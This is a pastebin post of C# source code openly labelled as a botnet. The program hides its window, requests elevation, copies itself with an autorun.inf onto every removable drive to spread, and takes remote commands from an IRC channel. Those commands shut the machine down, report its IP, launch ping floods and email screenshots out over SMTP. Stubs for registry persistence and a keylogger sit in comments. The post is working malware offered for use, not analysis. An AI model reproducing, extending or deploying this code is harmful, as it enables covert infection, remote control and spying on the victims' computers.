Botnet C# Sourcecode


SUBMITTED BY: Guest

DATE: Oct. 28, 2013, 1:47 a.m.

FORMAT: Text only

SIZE: 10.4 kB

HITS: 1367

  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using Amrykid.Web.IRC;
  6. using System.Runtime.InteropServices;
  7. using System.Diagnostics;
  8. using System.Net;
  9. using System.Windows.Forms;
  10. using System.Drawing.Imaging;
  11. using System.Drawing;
  12. using System.IO;
  13. using Microsoft.Win32;
  14. using System.Net.Mail;
  15. namespace ConsoleApplication1
  16. {
  17. class Program
  18. {
  19. public static string server = "irc.freenode.org";
  20. public static string channel = "#lobby25";
  21. public static string nick = "myBigBrother";
  22. public static int port = 6667;
  23. public static IRC _irc;
  24. public static bool flag = true;
  25. public static bool KeyLogflag = false;
  26. public static string mainPass = "ascii1char";
  27. static public string fp;
  28. static public string allfiles;
  29. static public string filename;
  30. [DllImport("user32.dll")]
  31. private static extern int ShowWindow(int Handle, int showState);
  32. [DllImport("kernel32.dll")]
  33. public static extern int GetConsoleWindow();
  34. static void Main(string[] args)
  35. {
  36. int win = GetConsoleWindow();
  37. ShowWindow(win, 0);
  38. try
  39. {
  40. fp = Process.GetCurrentProcess().MainModule.FileName;
  41. string[] beetweenthing = fp.Split('\\');
  42. filename = beetweenthing[beetweenthing.Length - 1];
  43. UsbInject();
  44. }
  45. catch (Exception)
  46. { }
  47. ProcessStartInfo p = new ProcessStartInfo();
  48. p.UseShellExecute = true;
  49. p.Verb = "runas";
  50. try
  51. {
  52. Process.Start(p);
  53. }
  54. catch(Exception e) { }
  55. // Start on Start Up
  56. //RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  57. //rkApp.SetValue("winlogs.exe", Application.ExecutablePath.ToString());
  58. _irc = new IRC("IRCBot");
  59. _irc.Nick = nick;
  60. _irc.Connect(server, port);
  61. _irc.Logon(nick, nick);
  62. _irc.Join(channel);
  63. _irc.IRCMessageRecieved += new IRC.IRCMessageRecievedHandler(_irc_IRCMessageRecieved);
  64. while (true)
  65. {
  66. _irc.ProcessEvents(0);
  67. }
  68. }
  69. static public void UsbInject()
  70. {
  71. string[] Drives = Environment.GetLogicalDrives();
  72. foreach (string gsy in Drives)
  73. {
  74. if (UsbExcist(gsy))
  75. {
  76. CheckFileExcist(gsy);
  77. if (allfiles.Contains(filename))
  78. {
  79. }
  80. else
  81. {
  82. Copy(gsy);
  83. }
  84. }
  85. else
  86. {
  87. }
  88. }
  89. }
  90. static public bool UsbExcist(string drive)
  91. {
  92. DriveInfo samet = new DriveInfo(drive);
  93. string type = Convert.ToString(samet.DriveType);
  94. if (type == "Removable")
  95. {
  96. return true;
  97. }
  98. else
  99. {
  100. return false;
  101. }
  102. }
  103. static public void CheckFileExcist(string path)
  104. {
  105. string[] CheckFiles = Directory.GetFiles(path);
  106. for (int i=0; i <= CheckFiles.Length - 1; i++)
  107. {
  108. allfiles += CheckFiles[i];
  109. }
  110. string[] subs = Directory.GetDirectories(path);
  111. foreach (string sub in subs)
  112. {
  113. try
  114. {
  115. CheckFileExcist(sub);
  116. }
  117. catch (Exception e)
  118. { }
  119. }
  120. }
  121. static public void Copy(string drive)
  122. {
  123. File.Copy(fp, drive + filename);
  124. WriteAutorun(drive);
  125. }
  126. static public void WriteAutorun(string drive)
  127. {
  128. StreamWriter writer1 = new StreamWriter(drive + "autorun.inf");
  129. writer1.Write("[autorun]\r\nopen="+filename);
  130. writer1.Close();
  131. }
  132. public static void _irc_IRCMessageRecieved(object sender, string message, User user, IRCChannel ch)
  133. {
  134. if (message.StartsWith("!"))
  135. {
  136. if (message.Replace("!", "").StartsWith("login " + mainPass))
  137. {
  138. flag = true;
  139. }
  140. }
  141. if (message.StartsWith("?") && flag == true)
  142. {
  143. if (message.Replace("?", "").StartsWith("Shutdown"))
  144. {
  145. System.Diagnostics.Process.Start("shutdown", "-s -t 30");
  146. _irc.SendMessage("Computer is shutting down in: 30 secs.", IRC.SupportedColors.Green, ch.Channel);
  147. }
  148. if (message.Replace("?", "").StartsWith("GetIP"))
  149. {
  150. string strHostName = Dns.GetHostName();
  151. IPHostEntry ipEntry = Dns.GetHostEntry(strHostName);
  152. IPAddress[] addr = ipEntry.AddressList;
  153. string ip = addr[2].ToString();
  154. _irc.SendMessage("IP: " + ip, IRC.SupportedColors.Green, ch.Channel);
  155. }
  156. if (message.Replace("?", "").StartsWith("Popup"))
  157. {
  158. message = message.Replace("?Popup", "");
  159. _irc.SendMessage("Popup Sent.\n", IRC.SupportedColors.Green, ch.Channel);
  160. MessageBox.Show(message);
  161. _irc.SendMessage("Popup Reciever Clicked OK.\n", IRC.SupportedColors.Green, ch.Channel);
  162. }
  163. // KeyLogger
  164. //if (message.Replace("?", "").StartsWith("Keylog"))
  165. //{
  166. // if (KeyLogflag) // stop keylogging.
  167. // {
  168. // }
  169. // else // start keylogging.
  170. // {
  171. // }
  172. //}
  173. if (message.Replace("?", "").StartsWith("DDoS"))
  174. {
  175. string DDoSIP = message.Replace("?DDoS", "");
  176. System.Diagnostics.Process.Start("ping", DDoSIP);
  177. _irc.SendMessage("DDoSing IP: " + DDoSIP, IRC.SupportedColors.Green, ch.Channel);
  178. }
  179. if (message.Replace("?", "").StartsWith("Pic"))
  180. {
  181. int screenWidth = Screen.GetBounds(new Point(0, 0)).Width;
  182. int screenHeight = Screen.GetBounds(new Point(0, 0)).Height;
  183. Bitmap bmpScreenShot = new Bitmap(screenWidth, screenHeight);
  184. Graphics gfx = Graphics.FromImage((Image)bmpScreenShot);
  185. gfx.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight));
  186. string fileName = "pic.jpg";
  187. bmpScreenShot.Save(fileName, ImageFormat.Jpeg);
  188. message = message.Replace("?Pic", "");
  189. string[] mailD = message.Split(' ');
  190. // mailD[0] = mailD Empty
  191. // mailD[1] = mailD toAddr
  192. // mailD[2] = mailD Password
  193. // mailD[3] = mailD SMTP Server * smtp.gmail.com
  194. // mailD[4] = mailD SMTP Port
  195. MailMessage mail = new MailMessage();
  196. SmtpClient SmtpServer = new SmtpClient(mailD[3]);
  197. mail.From = new MailAddress("xlox@gmail.com");
  198. mail.To.Add(mailD[1]);
  199. mail.Subject = "Test Mail - 1";
  200. mail.Body = "mail with attachment";
  201. Attachment attachment;
  202. attachment = new Attachment(fileName);
  203. mail.Attachments.Add(attachment);
  204. int port = Convert.ToInt32(mailD[4]);
  205. SmtpServer.Port = port;
  206. SmtpServer.Credentials = new NetworkCredential(mailD[1], mailD[2]);
  207. SmtpServer.EnableSsl = true;
  208. SmtpServer.Send(mail);
  209. }
  210. if (message.Replace("?", "").StartsWith("Cmds"))
  211. {
  212. _irc.SendMessage("[?] Shutdown, GetIP, Popup, DDoS, Pic", IRC.SupportedColors.Red, ch.Channel);
  213. }
  214. }
  215. }
  216. }
  217. }

comments powered by Disqus